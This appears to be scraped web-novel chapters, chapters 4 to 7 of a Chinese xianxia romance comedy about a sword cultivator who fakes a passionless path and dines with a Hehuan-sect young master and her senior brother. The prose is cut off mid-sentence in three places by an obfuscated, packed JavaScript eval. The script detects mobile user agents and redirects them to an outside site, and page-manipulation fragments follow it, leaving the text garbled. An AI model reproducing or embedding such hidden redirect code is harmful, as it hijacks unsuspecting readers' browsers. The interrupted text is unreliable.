洛云晚正沉默着呢,一旁的少年极其平淡就应了声,桃花眼愉悦地眯起,直直盯着她扬声就说:“来,相好,替我教训教训他。” “噫!”灰衣男子还真被洛云晚打怕了,一听这话就慌了神,牙齿打了个颤,狗刨似的“哗啦”“哗啦”往外游。 边游还不忘边叫嚷道:“老子是不会放过你们这对狗男女的!给老子……咕噜……等着!” 莫欺中年穷是吗……有点意思。 等到他游出了视野,少年嘴角微扬,冲洛云晚扬起下巴,饶有兴味:“所以呢?你为什么帮我……真看上我了?” 夜里的长廊上吹来一阵混有桃花浅香的凉风,吹得洛云晚的衣摆翩飞,又吹来几片花瓣落到少年墨色的发丝上,她这才注意到他的脑后散散盘了个发髻,桃花倒更像是陪衬。 对方水润润的桃花眼含情看她,让人很难不慌了心神。 一切生动得像一幅画。 洛云晚垂下脑袋不去看他,声音沉沉道: “没帮你。你也别挡路了,让我过去。” 少年兴味的嘴角抽了抽。 4. 第4章 他的眉头微微皱起,像是染上了几分愠色,脸颊两侧醉意的薄红仍未散去,含水的桃花眼瞪着洛云晚不说话。 洛云晚以为他少爷脾气,觉得自己刚刚的话没礼貌,又好声好气重新说道:“我要出去,麻烦让一下。” 那少年直直盯着她看了好几秒,突然眉头舒展开来,颤着肩膀轻笑一声,语气极其轻飘飘:“那你走吧。” 他侧过身子给她让了个身位。 洛云晚立刻迈步,擦肩而过时还不忘再礼貌接了一句:“多谢。” 她生怕自己又少做了什么惹得对面不高兴不放行。 没想她刚走过,衣袖又被人扯住。 ?找茬吗! 这还不够文明礼貌啊!真要当文明标兵给他行礼道谢才能走吗? 洛云晚眉头染上不耐,转头看他,没说话。 那黑衣少年纤白的手指扯着她浅色的道袍,眼神沉沉地抬眸与她对视,冷声开口道:“你还真走啊。” 洛云晚:? 她被气得轻笑了声,险些忘了自己的无情道人设,连忙又冷下表情,平静回应道:“嗯。” 不走留在这和他斗嘴吗。 那少年听了她的人机回复也是气得不行,黑着脸又把她扯到身边,怒极反笑道:“本少爷就这么可怕吗?让你留下片刻都不敢?” 还真是少爷啊! 坏了这很难缠的。 洛云晚心知被麻烦事找上门来了,又怕眼前的“少爷”真是哪个修仙世家的宝贝,用钱都能砸死她的那种,便只好认命先把“出门觅食”的念头放在一边,祈祷自己能很快把眼前人糊弄高兴。 冷静,洛云晚,冷静。 你是剑修,很穷的,出事了赔不起。 她深吸一口气,重新抬起头,神色平静了许多,开口道:“不可怕,你好看,我留下。” 小少爷,求求你,放我走。 那少年听了她的话,眉目的愠色终于褪去,上挑的桃花眼一弯,斜斜靠着栏杆,反问道:“我好看?” 他的鼻尖蕴着樱粉色,墨色的长发被风吹得飘动,神情倦懒又生动,殷红的唇瓣开合着,很容易就让人忽视掉唇瓣里说出的言语。 晚风送来一阵桃花香,他靠在枝叶旁的栏杆边,人却比桃花更加艳丽。 不带有任何主观情感来说,他都是一个好看到雌雄莫辨的美人。 被当作人质扣留的洛云晚极其诚实点头:“好看。” 她觉得自己像是传说故事里那种能说出“这世界上谁最好看”的镜面法器。 黑衣少年的眼睛像猫一样愉悦眯起,脸颊上那醉意般的薄红漫上眼尾,轻轻笑了两声。 确实很好看。洛云晚想。但是既漂亮又少爷脾气的人真的很难对付。 晃神之间,她又听见那少年问她:“所以你真的不是为了帮我?” 怎么还在纠结这个啊。 我认识你吗我就帮。 洛云晚内心翻了个白眼,表面却应声解释道:“并非,今日若是你先出手挡了路,我也会制止。不过变相帮了你倒是确实。” 黑衣少年“哦”了一声,垂眼又道:“那很可惜了,你帮了一个混账恶人。” 洛云晚瞥了他一眼:“何出此言?” 少年抬手把玩着飘落到自己发丝上的桃花瓣,语气极为轻描淡写:“当初在灵隐秘境里确实是李显先得到的机缘,后来我在采灵果时与他相遇,他想抢劫但没打过,身上法器被我灵气吸引,重新认主了。李显受了伤又因此心境受挫,境界大跌,此后便一蹶不振。若非如此,他如今应该也是名声大噪,风光无限。” 洛云晚听着听着却没了下文,疑惑扭头,问道:“然后呢?” 少年看花瓣从指缝间滑落,淡淡道:“没了啊。” “哦。”洛云晚又问,“混账在哪?恶人在哪?” 听之前她还以为眼前这少年有多坏呢,比如杀人夺宝、陷害卖队友什么的,结果就是法器重新认主,还是灰衣男主动抢劫导致的。 要换做是她,不仅要拿了灰衣男的机缘,还要一脚踹他屁股把他从悬崖踢下去。 那黑衣少年低低笑了一声,嘴角扬起,极为坦然道:“在他们口中啊。” 带着凉意的晚风从身前吹过来,夹杂着夜里的桃花香和酒气。 洛云晚侧头看了他一眼,没说话。 “呵呵……”少年却迎着她的目光,手指拂开粘在发丝的花瓣,弯了弯眼睫,“骗你的,其实是抢劫的人是我。” 洛云晚眨眨眼:“哦。” 那少年蹙眉,眯着眼看她:“你没有点别的反应?” “我该有么。”洛云晚淡淡道,“这修仙界千百年的修士如过江之鲫,谁能确保自己绝无私心私情。况且此事我仅从你一人口中了解,又能作出何种评判呢?” 片刻,少年的视线从她脸上移开,罕见地没有接话。 好样的洛云晚!装作沉着淡定再说一堆高深莫测的话果然能把人唬住! 主要是她真没搞懂那秘境里究竟是谁抢谁,不如说点没用的废话。 她在心里给自己打了打气,表面仍旧沉着脸道:“你们的旧事与我无关,我也并非因此出手,莫要纠结了。” “可是啊……”少年用手撑着头,倚在栏杆边上,重新抬眸笑道,“我名声很差的,你今日帮了我,明日就会传成你和我厮混在一起、咱俩一个德行。怎么办啊小剑修?后悔了吗。” 小、剑、修…… 洛云晚浑身泛起一阵鸡皮疙瘩,还有种自己被占了便宜的诡异感。 但她还是很诚实地摇摇头:“他又不认识我,怎么传?” “……”黑衣少年沉默了,神情有些懊恼,“是哦,那不还是只有本少爷名声受损吗。” “对啊。”洛云晚应和。 然后又遭小少爷瞪了一眼。 看样子他确实没想到这一点。洛云晚对他的智商产生了初步认知。 看着挺可怜的。 洛云晚想了想主动道:“要不然我请你吃一顿?安慰一下。” 主要是她现在已经饿得不行了,既然把人糊弄不走,那就只能多带着一个人一起去吃饭了。 总比现在站在这个破走廊聊天好! “……好啊。”黑衣少年仰起头望向她,慵懒媚情的桃花眼突然弯了弯,散漫一笑道,“怎么,真的看上本少爷了?鼓起勇气来邀约?” ? 这是怎么脑补出来的? 自恋狂啊! 洛云晚脑子宕机了一瞬,然后对他的智商有了进一步的认知。 有点雷人了。 她冷淡摇了摇头:“没这意思,我修无情道的,别多想。” 那小少爷的脸色肉眼可见地沉了沉,重复道:“无情道?没这意思?” 洛云晚:“嗯嗯,你是个好人。” 谁知那黑衣少年嘴角一撇,突然就直直上前扯住她的衣领,眼里泛上水光,咬牙道: “你怎么可以对我没意思!你修无情道绝对是因为你没领会过我们合欢宗的好,等你领会了就不会这么说了!” 诶,不要轻易就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374759|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破防啊自恋狂! 刚刚不是还挺和谐的吗! 还有这些话是从哪学的啊,太典了吧! “……呃,”洛云晚被他拽着衣领,距离近得完全可以听到对方的呼吸声,她慌乱地吞咽一声,眼神四处胡乱飘动,“你先放开……” 少年如玉的面容染上绯红——洛云晚猜应该气得不轻——水润的桃花眼直直凝着她。 洛云晚鼻子又闻到少年颈边的一阵很浓的酒气和隐隐桃花香,此下无风,她才突然反应过来,这般酒气和浅淡的香气都是他身上传来的。 看来是醉迷糊了,不然也不会说出这种胡话。 不对。 他说他是合欢宗的……难不成是仙人跳? 剑修你都骗啊!还是无情道的! 洛云晚打了个寒颤,伸手去推他,连声道:“我不想领会,你莫要坏我道心。” 黑衣少年猫一样的眼睛眯起,抬眸看着她不说话。 洛云晚瞧见他氤氲的眸子中倒映出自己俯视的面容,神情寡淡。 而与她相对的少年却全然不同,他的脸颊浸上滚烫的樱粉色,先前挽起的发髻散乱了些,沾湿的黑发黏在脸侧。他气急咬着唇瓣,似乎她只要敢说个“不”字就立刻把她咬死。 真的很漂亮啊……不不不,死脑子别想了! 洛云晚慌忙摇了摇脑袋,但脑子里的思绪依旧很乱。 总不可能他和灰衣男子从堵在走廊上就开始做戏,演了这么长一段只为诈骗她吧……难道他们就敢笃定她一定会多管闲事? 可如果真的不是仙人跳,为什么对方一定要执著于让她承认自己对他“有意思”,难道是长得漂亮的人头一回被别人冷淡对待难以接受外加喝醉了酒,所以才轻易破防了吗。 好离谱啊,总不可能是因为对方喜欢她但不好意思说出口,只能气愤地逼问她吧…… 洛云晚被自己的想法恶心到了,结结巴巴开口:“呃、你,你喜欢我?” 谁知那少年听了她的话后整个人突然呆滞了一下,水色的眼睛眨了眨,然后脸颊突然涨得通红,“唰”一声松开了她的衣领,慌忙背过身去,抬高了音量:“……不喜欢!” 他的尾音打着颤上挑起,背身的风吹得发尾扫过洛云晚的鼻尖,桃香与酒香混杂着。 洛云晚“哦”了一声,她本来也觉得不可能。 不过这下坏了,把少爷惹生气了。 少年似乎被她冷淡的回应刺激到了,又气极连声道:“不喜欢不喜欢不喜欢!” 洛云晚:…… 一遍就够了啊!至于吗! 她有这么讨人厌吗! 洛云晚憋了一晚上的火气也冒上来了,她往前迈了一步走到少年身后,伸手搭到他肩上,想要把他掰过来理论理论:“你想……” 少年猝不及防被她触碰,像猫一样吓得打了个颤,发出“哎”的一声小声惊呼,又转过头来看她,绯红的双颊搭配上抬眸嗔怒的神情,盯得洛云晚愣了愣。 她嘴里的话突然有点说不出口,忽的又想起自己如今穿着临仙派的道袍,若真把事情闹大了也不好。 “那今日之事就算结束了吧,”她松开手,从少年面前走过,“我去吃夜宵了,有缘再见。” “唰”。 衣袖又被扯住。洛云晚往外拉了拉,没拉动。 “……”黑衣少年小步跟过来,抬眸瞪她,脸颊的绯红还未散去,极其小声道,“我也要去……你答应了的。” 不是吧哥们?! 伤了她的心还要伤她的钱吗! 5. 第5章 少年对上她的目光后又不自然地偏过头,声音在夜色里显得有些闷:“……方才是我酒劲上头一时说的胡话,你、你别往心里去。” 洛云晚不知道他指的是之前说出的“怎么可以没意思”还是“不喜欢”,但总归是小少爷主动低的头,她也不是什么斤斤计较的人,便淡声道:“无妨,我已经忘了。” 谁知小少爷闻言抬眼望了望她,潋滟眸子中的流光微颤,又装作若无其事的模样移开了视线。 ?怎么感觉他有些失落。 洛云晚诧异地瞥了他一眼,可惜他早已偏过头去,没对上目光,只瞧见他侧头已经散乱的发髻。 发丝纠缠着垂落在脑后,凌乱的墨色中点染着几瓣未曾被人察觉的桃红。 好像是方才靠在栏杆边无意蹭乱了吧。 洛云晚想了想,又低头瞧瞧自己手上的桃枝——那会儿灰衣男李显挑事时她随手折下当作长剑的一枝,之后便一直捏在手中了。 洛云晚停下脚步对少年轻声道:“别动。” “嗯?”少年扭头望向她,脸颊还泛着薄红,桃花眼弯了弯,神情已然恢复散漫,勾唇轻轻笑道,“想做什……”么。 突然,他的话音扼在唇齿间,水色的瞳孔骤然睁大,呆滞地任由一道阴影俯身将他笼罩。 呼吸声都下意识止住,一阵窸窸窣窣的动静后,下一瞬,阴影从他身前撤离。 摇曳灯盏中,他听见一道淡漠却带着略略笑意的女声:“……好了,很好看。” 他听见自己开口的声音,在脑中显得迟疑又模糊:“什么……好了?” 脑袋真不太好使吧,这家伙。洛云晚暗自想到。 不过她此下没有一丝一毫的嘲笑心思,眼里只有对自己成果的满意: ——真的很漂亮啊,她做的这个造型! 少年脑后散落的碎发被她以桃枝为簪挽成发髻,柔软的长发缠绕着枝条乖顺盘在颈后,发尾好似被晚风绊住的流云,弯曲成旋垂落下。 唯一美中不足的是,她方才是从少年的正面将手环过脑后的,挽发时看不清位置,如今才发现发髻扎歪了些。不过问题不大,他的脸足以让人忽略掉任何瑕疵。 “手瘾犯了,无需在意。”洛云晚满意地弯了弯眼睛,又淡声道,“给你扎了个头发。” 她很小的时候就拜入仙门了,那时师尊明虚真人座下除了她只有两位师兄,二师兄一心修炼木楞得像个人机,给她扎头发的事情就自然而然地落到了大师兄谢逍白头上。 谢逍白刚开始还嫌麻烦不愿扎,后来发现洛云晚好几天都是早晨散着头发出去玩,晚上再顶着个奇丑无比的朝天辫回来,一问才知道是隔壁丹修闹着玩哄骗着她扎的。 谢逍白一下子就怒了,抓着洛云晚极其郑重道:“别找那群天天炸炉的笨蛋玩了,今后的头发师兄给你扎!” 年幼的洛云晚懵懂地点点头,眼里尽是对靠谱大师兄满满的崇拜。 ——然后她顶着奇丑无比的双丫髻顶了一个月。 洛云晚一下子也怒了,说什么都不让谢逍白再碰她的头发,宁愿一点一点自己学。 之后就是小师妹贺鸢入门,她教着扎了几年头发。如今小师妹长大了,洛云晚嫌麻烦平时也总是扎个高马尾,已经很久没有再帮人梳过头发了。 直到今夜,她望着比桃花更明艳的少年,一边回想着当年给贺鸢扎头发的场景,一边为他挽了个简单的发髻。 “走了,”夜风凉凉,吹得洛云晚高高扎起的马尾不住摇晃,耳边碎发扫过她的脸颊,她回头看那黑衣少年,又冲他疑惑道,“怎么在发愣?” “……”少年站在原地垂着头,纤白的手指触上脑后的发髻,风也吹得他长发飘摇。 …… “烤肉串烤肉串,一灵石一串!” “临仙派弟子算命摊,童叟无欺,不准不要钱!” “瞧一瞧看一看嘞——酒酿圆子,欸,仙师来一碗吧!” 仙山脚下的寻味坊往外走不出几步,便是热闹喧嚣的夜市。 此时夜色渐浓,却正是夜市生意最为热腾的时候。小吃夜宵飘散出的香气在人流间蔓延,滋滋作响的油炸声更是催得人食欲大增;说书算命的摊位随处可见,其中甚至还有一些身着仙袍的弟子以此来打工挣点外快;衣裳首饰、玩物杂货,各色琳琅入目皆是,看得人眼花缭乱。 摊位后的木桌前,黑衣少年撑着脸抬起眼眸,如水的桃花眼中闪过一丝疑惑,看向对面坐着的人问道:“你们无情道……这么能吃?” “啊唔嗯嗯……?”洛云晚闻言抬起头来,想要回答又被自己嘴里的野鸡腿呛了一口,她含糊不清道,“人和人的体质不能一概而论,我曾经三岁一拳打死一只老虎,食量大正常。” 少年脸色似乎沉了沉,皱眉,“我记得你是剑修吧。” “……我曾经是体修,真的。”洛云晚将烤野鸡往少年身侧推了推,“多吃,少问。” 她一路走出来都快饿疯了,再一闻到这烤鸡的香味,哪还管得了什么无情道的规矩,先把东西吃了,之后自然有的是时间圆谎。 那少年眯着眼睛盯了她好久,突然开口道:“本少爷怎么觉得你嘴里没一句真话?” “嗯?”洛云晚看向他,眨眨眼睛,“错觉。” 好难缠啊! 早知道刚刚在夜市走快点把他甩开了! 她越想越懊悔,含泪啃了一口鸡腿。 “不说这些……”少年身子向前倾了些,直直撞入洛云晚的视线,“那你是什么身份总可以告诉我吧。” 他的黑发垂落在脸颊两侧,潋滟的眸子直直盯着她,一般人对上这样一双眼眸都会忍不住失神片刻。 但是洛云晚不是一般人,她垂眼,面不改色,极其从容道:“临仙剑宗,云晚。” 反正她说的每一个字都是真的。 那少年沉默了一会儿,不知道做了什么,突然又开口,只是声音里多了几分冷色:“临仙派没有叫云晚的。” 不是,你们合欢宗的怎么比她还了解临仙派啊?! 什么情况! 洛云晚闻言“唰”地抬头,却见少年正用手闲闲拨动着身前的一道荧蓝色法器。 他斜了一眼与她对上目光,神情冷冷。 洛云晚心中警铃响起,危急关头,她咬了一口鸡翅,故作冷静道:“这是何物?我就叫云晚没错。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374760|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 少年挑眉,语气中多了些玩味:“这不是你们临仙派发的?专为仙门大比做的通讯法器,我查了,没有‘云晚’。” ? 这什么东西啊!她怎么不知道! 临仙派这群钱多得没处花的长老能不能别搞这些花里胡哨的废品啊,先把食堂修缮了行吗—— 像是看出了洛云晚的疑惑,少年低低笑了一声,又把玩起手中小巧精致的法器:“大比第一日便有人介绍并发放了这个法器,莫非你并未参加?” 大比第一天? 洛云晚歪头回想了一下,她好像是怕在众多陌生修士面前装无情道露馅,所以一个人跑酒楼喝酒去了—— 什么啊,她以为这种仙门大比第一日都会是些掌门长老上台演讲一堆废话来着! “咳,”洛云晚眼神躲闪开,淡淡道,“的确,我是外门,并未获得大比的资格。” “……呵。”那黑衣少年轻哼一声,上挑的桃花眼虚着瞪向她,嘴角微微上扬道,“那你知道你们内门有位叫洛云晚的无情道剑修吗,小外门?” 洛云晚:…… 不要开她盒啊—— “好吧,”她正了正神色,“我是洛云晚,先前骗了你是我不对。” 少年皱眉问她,声音轻飘飘的:“你为何不愿将真名告知于我?你很讨厌我么。” 难道不是你不喜欢我吗! 洛云晚怕又惹得少爷不开心,斟酌着语气道:“我只是习惯留个心眼。你知道的,我们无情道很容易与人结仇。并非讨厌你。” 不知是什么话取悦了他,少年眉头舒展开来,神情缓和了些,勾唇扬起一抹轻笑:“合欢宗,花榭。记住我的名字。” 花榭? 洛云晚“噢——”了一声,恍然道:“我听过你。” “听过什么?”花榭嘴角的笑意淡去,眸子流转,“我行为恶劣,还是心思歹毒?” 他垂下眼睛不去看她,指尖闲闲摆弄着荧蓝色的法器,看上去并不在意洛云晚的回答。 从桃枝挽成的发髻中散落出的碎发随着他的动作落到身前,衬着他白皙的脖颈,像是宣纸点染上墨痕。 洛云晚抿嘴,歪了歪头,高马尾的发丝顺势垂落到肩上,冷清的面容上似是露出不解的神情,淡然道:“没有啊,就是你的名字和身份——花榭,合欢宗少宗主。” “我说过了,不爱评价这些。”她咬了口鸡翅又道,“我只相信我自己认识的你。” “……”花榭抬头略略看了她一眼,突然道,“洛云晚,你真的修了无情道吗?” 刚刚有哪里露馅了吗。 不要扒她底裤啊—— 洛云晚嘴里的鸡翅噎了一下:“对、对啊,怎么了吗……” 花榭的桃花眼眯了眯,不知道想到了什么,又轻笑一声:“没事。” ?谜语人? 洛云晚怕再和他多聊几句又露出什么马脚来,连忙转移话题:“要不你先吃,我去找店家结账。” 花榭抬眸望向她。 洛云晚迎着他的目光起身,摸摸衣兜,突然一愣。 诶不对她灵石呢? 遭了,下午输光了啊—— 6. 第6章 洛云晚手刚刚伸进兜里就暗道一声不好,向前迈出的步子也停滞了。 花榭望向她歪了歪脑袋,水色的桃花眼微微眯起,上扬的尾音带着几分兴味:“怎么了?” 他的脸颊泛着薄红,在凉凉夜色里靡艳又动人,看得洛云晚心虚地移开了目光。 不行,要是现在说没钱就太丢人了。 “无事。”洛云晚垂下眼眸,潇洒的高马尾随风摇晃,白衣似雪双手插兜,声音冷淡道,“装酷做个造型。” 花榭:…… …… “吃完没啊你们,快来救救我!”夜市长街摊位边,洛云晚双手紧握传讯镜面,一边说一边鬼鬼祟祟打量周围,“给我带点灵石,我在仙山坊市往里走第一个拐角的烤鸡摊,快!” 她侧靠在摊位旁的老树边,躲着来往修士的视线,急得直跺脚。 在心里不知道暗骂了多少遍后,终于,镜面里的场景浮现出来,谢逍白弯了弯狐狸眼朝她挥手:“零食?我说你怎么急着走,原来出去吃烤鸡了啊。要配点什么零食,蜜饯还是青梅酒?” 洛云晚怪叫了一声:“不是这个零食啊!” 谢逍白手指摩挲下巴,仰头望天:“哦,临时啊,我临时有事来不了,你自己吃吧。” “……”洛云晚听明白他话语中耍她的意思了,黑着脸咬牙道,“是我打赌输光了的那个灵石!你借我十颗,下月发月例我双倍还给你。” “噢,早说嘛。”谢逍白扬起嘴角拖长了语气,又晃了晃传讯镜面,“回头,你的灵石来了。” 洛云晚“诶?”了一声回过头去。 夜市灯火阑珊,人影熙熙攘攘中,谢逍白手指尖转着一个小小的灵石袋,腰侧配着长剑,高马尾随着他的步子一晃一晃,闲散悠哉。 见她转头看过来,谢逍白的嘴边勾起一个吊儿郎当的轻笑,目光直直盯着她挑了个眉,然后把手中的灵石袋抛给她。 “哎!”洛云晚像看到救星一样大步扑过去把袋子接在怀里,边解开绳结边问道,“怎么这么快,你们吃好了?” “对啊,”谢逍白走近,身上还萦绕着浅淡的酒气,“散了有一会儿了,我看你在饭桌上没吃饱就猜到你会逃出来觅食。” 洛云晚数着袋子里亮晃晃的灵石,闻到他身上的酒味又问:“你喝酒了?喝得多不多?” 大师兄谢逍白的酒量不好这件事全临仙派的修士都知道,毕竟一月前他喝醉酒抱着大黄狗唱了一夜情歌的事被一同赴宴的符修大师兄录了像,镜面法器里的视频几乎传遍了满宗门。 这件事给剑宗丢了好大一张脸,一跃成为临仙派各大宗门的第一笑柄,事后好几天师尊明虚真人都在长老会上抬不起头。 可惜那时候洛云晚已经在假装改修无情道了,面对众多看热闹弟子的采访,她只能掐紧大腿肉冷着脸憋出一句:“喜结良缘,百年好合。祝福。” 采访不知怎的传到谢逍白耳朵里了,他转头就笑眯眯地把“洛云晚偷吃仙兽贡果还说好酸”这件事告状给了明虚真人。 谁知告状时明虚真人正开着传讯法器和掌门闲聊,此事被掌门听了去,又惹得明虚真人好几天在长老会上抬不起头。 “没喝多少。”夜市传来吆喝声,谢逍白双手环抱在胸前,顺势也懒散地靠在她之前靠过的那棵树边上,“怎么,担心我?” 他的声音和飘散着香气的风一并懒懒散散地略过她的脸颊。 “……我是担心一会儿御剑回宗门,结果你喝醉了从剑上摔下去。”洛云晚轻笑一声,摸出三颗灵石,再把袋子系好塞进衣兜,转身就走,“谢了,你先回去吧。” “哎哎,”谢逍白见她头也不回地就往前走,急急撑起身子追上去,拉住她的衣袖,“干嘛,拿了钱就走?吃烤鸡这种好事也带上师兄呗。” “啊下次一定,”洛云晚扭头,对他扬起一个恣意轻快的笑,“今晚我有约了。” …… “师兄好。”花榭露出一个礼貌得体的笑,被桃枝挽起的发丝在风里微微飘扬,他又眯了眯桃花眼,声音清澈,“我是云晚的朋友。” “朋友?呵,”谢逍白的狐狸眼也笑着眯起,“幸会,我先前从未听小云晚说起过你。” 花榭闻言,神情极其平静,轻笑道:“的确,我和她今日才相识,一见如故。” 谢逍白又笑:“那很坏了,她‘一见如故’的人可多了去了。对不对,小云晚?” 花榭皱眉,脸上的笑意淡去,也看向洛云晚,声音有些闷:“果真如此?” 又点了一盘烤鸡正吃得爽快的洛云晚茫然间抬起头来,疑惑的神情扫过二人:? 不是,又发生什么了啊! 她才吃了两口! 顶着花榭水色潋滟的目光,洛云晚站起身把谢逍白拉出去。 “你干嘛?”她咬牙,背对着花榭极力压低声音,“我什么时候又和人一见如故了!” 谢逍白像红毛狐狸一样屑屑笑了两声,双手环抱:“好玩啊。有点像在演话本,你就是那个风流成性的渣……” 洛云晚不等他说完便锤了他一拳:“少诋毁我形象了!” “……行行行,”谢逍白虚着眼看她,“那你交朋友总得让师兄把把关呗,免得被什么魔修妖修或者不三不四的人拐跑了。” “这你可以放心了,”洛云晚朝他摆摆手,神情自然,“他不是。” 她洛云晚才是那个不三不四的,哈哈。 …… 重新坐回木桌边,谢逍白看上去安分了许多,悠哉悠哉吃着烤鸡,只是视线时不时还在她和花榭脸上打转。 洛云晚放下心来刚重新吃了几口,感觉自己左手的衣袖又被人扯住。 “……”巷口的叫卖声喧哗里,花榭抿了抿唇,眨眨水色的眸子问她道,“你和很多人都一见如故吗?” ? 刚糊弄完一个又来? “冤枉,咳、咳咳……!”她本想哭嚎着嗓子大喊一声“冤枉啊清汤大老爷”,都开口了才想起自己在花榭面前的人设是无情道剑修,便连忙急促地咳喘了几声,把剩下的话咽进嗓子里。 她顺了一口气,冷淡下神情,装出一副正义凛然的样子:“没有。” 花榭撑着下巴看见她被呛得微微泛红的脸颊,眯眼轻轻笑了两声,肩膀随着他的笑声轻轻颤动。 像小猫。 ……恶俗啊洛云晚!脑子里想什么呢! 她眨眼移开目光,一阵慌乱中又听见脸侧传来絮絮柔柔的声音,好像是用气声凑到她耳边说的悄悄话:“欸,你也把本少爷拉出去说点什么呗。” 她转头去看,桃花般明艳生动的少年在夜色里饶有兴味地冲她挑眉,殷红的唇瓣一开一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374761|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合,连眼尾也泛着樱粉。 ……怎么这也要攀比啊! 戏耍她很好玩吗! …… 洛云晚把花榭扯出去了。 离木桌不远处的角落,夜风穿过仙山脚下的树林,传来沙沙的清脆响声,这里距离热闹的坊市稍微远了些,只隐约能听见风里的喧闹声。 洛云晚侧头冲看热闹的谢逍白甩了甩手,皱眉示意他别往这看,等对方顺她意背过身去,她才扭头望向花榭,垂眼问道:“想说什么?” 花榭心情看上去很愉悦,用手掩着唇轻笑了两声:“你怎么真把我带出来了啊。” 小少爷这不是你要求的吗! 洛云晚不去看他,淡淡道:“只是顺便,我想出来透透风。” “……”花榭嘴角沉了下去,瞪了她一眼。 他又开口问道:“那是你大师兄吗?你们的关系似乎很好。” “嗯。”洛云晚低声应了一句,眼珠一转又道,“他说话不中听,你莫要在意。他以前因为这个还被人打哭过。” 花榭微微睁大了眼:“真的啊?” 洛云晚点头:“嗯嗯,哭得可惨了。” 对不起了大师兄,谁让你先诋毁我形象的。 她想了想又开口问花榭:“你的同门都如何呢?” “啊……”花榭愣了愣,随即眯眼轻声笑道,“关系一般,不太了解。” 洛云晚抬眸看了他一眼。 对上她的目光,花榭又勾唇:“你好像很信任我,明明我们才刚认识。” 合欢宗的少宗主连她修了无情道这么拙劣的表演都能相信,那她礼尚往来的,也该信信对方口中的话。 “嗯。”洛云晚撞进他水润润的眼瞳,平静坦然道,“因为你也信任我,不是吗?” “……唔。”花榭眨了眨眼,别扭地偏过头,开口的声音打着颤,越来越小声,“谁、谁信任你了啊……” 脸颊侧边的发丝随着他的动作扫过肩头,露出掩藏在墨色鬓发后的耳尖,微微泛红。 傲娇啊! 这也太典型了!不可能吧! 洛云晚嘴唇微张,神情呆滞住。 在“合欢宗少宗主是个傲娇”和“他真的不信任她”之间,她觉得还是第二个选项的可能性大一点。 还有,傲娇真的还没退环境吗? …… “啊,你是合欢宗的那个花榭呀?”谢逍白咬了一口烤鸡,笑问道。 “嗯。”重新坐回来后,花榭小声应了一声,“谢师兄有何事?” 洛云晚怕谢逍白又问出什么不适合的话,暗中掐了他的大腿一把。 “你们哎哎!”谢逍白痛得从椅子上弹了一下,龇牙咧嘴又道,“你们的毕设是不是和无情道谈恋爱啊?我在仙门小报的八卦栏看的。” 洛云晚:……? 她咬着烤鸡神情诡异地左右摆头看他们俩。 “呵呵,谢师兄说笑了,”花榭瞄了洛云晚一眼,轻笑道,“不过凡间话本中总是很喜欢这么写,或许其中也有道理。” “哼。”谢逍白轻哼一声,狐狸眼眯了眯:“师兄作为过来人告诫你们一句话。” 洛云晚和花榭眼里带着疑问同时看向他。 谢逍白眉头一挑,张口就道:“小孩,别碰感情。” 洛云晚:…… 7. 第7章 吃过烤鸡后天色已经暗沉下去,洛云晚心满意足拍拍身子站起来,转头望向花榭:“你要回去么?” 花榭朝她点点头。 与剑修的御剑飞行不同,合欢宗弟子作为法修是靠默念法诀腾空而飞的。洛云晚以前在宗门见过法修的师姐师兄嘴里叽里咕噜几句话,身子就渐渐浮空起来,周身还有莹莹灵气环绕,好生炫酷。 她年纪小的时候想学,整天缠着隔壁宗门的师姐不停念叨,终于把人念烦了,承诺教她一招。洛云晚把法诀小心翼翼抄到手上,回剑宗的路上还一直默念练习。 走进宗门正好遇见在晚练的谢逍白,洛云晚极其兴奋拉住他,非得给他表演自己学的“浮空术”。 谢逍白双手环抱听她叽叽喳喳念了一通,然后头顶传来“哗哗”的声响,再抬头一看,“瀑”的一声,俊俏白净的面容被雨水淋了一脸:“……” 洛云晚没能成功飞起来,湿漉漉的雨水也从头顶糊了她一身。小小年纪的洛云晚初次尝到被欺骗的滋味,惊诧地张大嘴巴,“哇——”的就哭了出来。 她这一哭气得谢逍白功都不练了,提着剑就往法修宗门跑。 ——然后又淋了一身雨回来。 即使这件事已经过去许久,洛云晚依旧记忆犹新。如今回想起,她又是忍不住轻轻笑了两声。 笑过,她又抬头看花榭,平静下神情问:“你如今酒醒了么?” 花榭歪了歪头,勾起嘴角回答道:“其实方才出了酒楼就差不多清醒了,什么事?” “哦,”洛云晚道,“我本想问你是否需要我御剑载你一程,顺手的事。不过清醒了就好。” “……”花榭上挑的桃花眼像猫一样眨了眨,咬咬唇又开口道,“其实我还有点晕……” “没事那我们就先走咯,”谢逍白调笑地加进来,冲他挥挥手,边推着洛云晚走边回头道,“以后有机会再一起吃烤鸡啊!” 